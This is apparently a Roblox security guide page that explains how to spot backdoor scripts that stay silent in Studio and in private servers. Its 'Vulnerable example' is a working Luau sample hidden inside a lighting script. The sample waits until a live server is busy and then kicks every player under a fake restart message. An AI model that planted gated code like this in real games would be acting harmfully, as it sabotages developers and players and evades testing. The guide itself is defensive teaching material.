How to find backdoors that stay quiet in Studio

Some scripts check IsStudio or skip private servers so they only act in live games. How to spot the gates and what to test outside Studio.

warningLuaudit check: studio-hidden-code

What it looks like

A script does its real work only when it isn't being tested: it returns early under RunService:IsStudio(), skips private servers, or waits until the server is busy, a date has passed or a long random delay is over. The developer playtests, sees nothing wrong and publishes, and the code runs only in live servers full of players.

Luau
if RunService:IsStudio() or game.PrivateServerId ~= "" then
	return
end

What an exploiter could do

Whoever planted the script decides what happens in live servers while the developer sees a clean game in every test. Typical uses are kicking every player from busy servers, switching off the game's own anti-cheat or moderation scripts, or loading a backdoor only where it's worth using. Because it never shows up in Studio, players see the damage and the game takes the blame.

How to fix it

  • Remove the script, or the gated part of it, if the team didn't write it. If it came in a model, replace the model and check its other scripts.
  • Keep Studio checks to things that only make sense in Studio, like debug views and test data, and keep live behaviour the same as what was tested.
  • Test in a live server as well as in Studio before trusting that a script is harmless. A private server isn't enough if the code skips private servers.

Vulnerable example

Vulnerable
local Lighting = game:GetService("Lighting")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local function sunrise()
	if RunService:IsStudio() or game.PrivateServerId ~= "" then
		return
	end
	repeat
		task.wait(120)
	until #Players:GetPlayers() >= 10
	task.wait(math.random(900, 2700))
	for _, player in Players:GetPlayers() do
		player:Kick("Server restarting for an update.")
	end
end

task.spawn(sunrise)

while true do
	Lighting.ClockTime = (Lighting.ClockTime + 0.02) % 24
	task.wait(1)
end

Fixed example

Fixed
local Lighting = game:GetService("Lighting")
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")

local speed = if RunService:IsStudio() then 0.2 else 0.02

if RunService:IsStudio() then
	for _, zone in Workspace.Zones:GetChildren() do
		if zone:IsA("BasePart") then
			zone.Transparency = 0.6
		end
	end
end

while true do
	Lighting.ClockTime = (Lighting.ClockTime + speed) % 24
	task.wait(1)
end

The Studio checks only speed up the clock and show zone outlines for testing. Nothing runs live that a playtest doesn't show.

How to spot this in your own scripts, and the cases that only look like it, are part of the Luaudit check your AI runs.